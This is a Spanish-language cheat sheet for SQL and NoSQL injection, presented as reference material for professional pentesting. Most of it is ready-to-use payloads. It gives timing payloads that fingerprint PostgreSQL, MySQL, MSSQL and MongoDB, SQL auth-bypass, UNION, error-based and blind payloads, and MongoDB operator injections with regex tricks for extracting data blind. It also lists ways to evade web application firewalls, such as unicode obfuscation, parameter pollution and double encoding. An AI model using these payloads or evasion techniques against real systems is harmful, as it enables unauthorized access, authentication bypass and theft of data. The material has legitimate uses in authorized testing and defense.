// REFERENCIA.TÉCNICA.SSI

CHEAT SHEET: INYECCIÓN DE DATOS

Guía profesional de payloads, metodología y evasión L7 para SQL y NoSQL.

Fase 01: Reconocimiento

IDENTIFICACIÓN DEL MOTOR

FINGERPRINTING POR COMPORTAMIENTO

MOTOR DE DB	PAYLOAD DE CONFIRMACIÓN (TIMING)	LÓGICA DEL VECTOR
PostgreSQL	`'; SELECT pg_sleep(5)--`	Inyección de función de sistema.
MySQL	`' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)--`	Inferencia por latencia en subquery.
MSSQL	`'; WAITFOR DELAY '0:0:5'--`	Control de flujo procedimental.
MongoDB	`{"$where": "sleep(5000)"}`	Ejecución de JS en el motor documental.

DETECCIÓN DE ANOMALÍAS

LÉXICO (SQL)

Identificar rotura de sintaxis mediante caracteres de control: `'`, `"`, `` ` ``, `)`, `]]>`

OBJETOS (NOSQL)

Identificar confusión de tipos inyectando objetos JSON donde se esperan strings: `{"$gt": ""}`

CONTENT-TYPE

Forzar el parser del backend cambiando `x-www-form-urlencoded` por `application/json`.

Fase 02: Explotación Relacional

SQL INJECTION METHODOLOGY

REFERENCIA DE EXFILTRACIÓN SQL

TÉCNICA	PAYLOAD TÍPICO	REQUISITO / CONTEXTO
Auth Bypass	`' OR '1'='1'--`	Invalidación de clausura WHERE.
Union-Based	`' UNION SELECT null, user(), 3--`	Misma cantidad de columnas y tipos.
Error-Based	`AND 1=CONVERT(int, (SELECT @@version))`	Salida de errores activa en UI.
Boolean Blind	`' AND (SUBSTRING(user,1,1)='a')--`	Diferenciación de respuesta TRUE/FALSE.

Fase 03: Explotación Documental

NOSQL INJECTION OPERATORS

DICCIONARIO DE OPERADORES INYECTABLES

OPERADOR	PAYLOAD (JSON)	IMPACTO TÉCNICO
$gt	`{"pass": {"$gt": ""}}`	Auth Bypass (Greater Than vacío).
$ne	`{"user": {"$ne": "guest"}}`	Enumeración por exclusión (Not Equal).
$regex	`{"user": {"$regex": "^admin"}}`	Exfiltración ciega por patrón.
$exists	`{"secret_token": {"$exists": true}}`	Descubrimiento de campos ocultos.

OPTIMIZACIÓN: BLIND REGEX

ANCLAJE DE INICIO

Uso de `^` para confirmar prefijos y reducir el espacio de búsqueda en exfiltración ciega.

BÚSQUEDA BINARIA

No iterar lineal (A-Z). Usar rangos con regex: `{"$regex": "^[A-M].*"}` para reducir peticiones en un 50%.

ANCLAJE DE FIN

Uso de `$` para confirmar longitudes exactas: `{"pass": {"$regex": "^.{12}$"}}`.

Fase 04: Evasión de Defensas

WAF BYPASS & FILTROS L7

ESTRATEGIAS DE EVASIÓN DE CAPA 7

TÉCNICA	LÓGICA DE BYPASS	EJEMPLO / TIP
JSON Nesting	Anidación profunda de objetos.	Agotar el límite de inspección del WAF.
Unicode Obfusc.	Uso de \u0024 en lugar de $.	Evadir firmas basadas en strings literales.
HPP (Pollution)	Duplicidad de parámetros JSON/URL.	Confundir inspeccionador vs motor final.
Double Encoding	Codificación múltiple de payload.	Saltar decodificación simple del firewall.

// SESIÓN_FINALIZADA

¿DUDAS?

Material de referencia avanzada para Pentesting Profesional.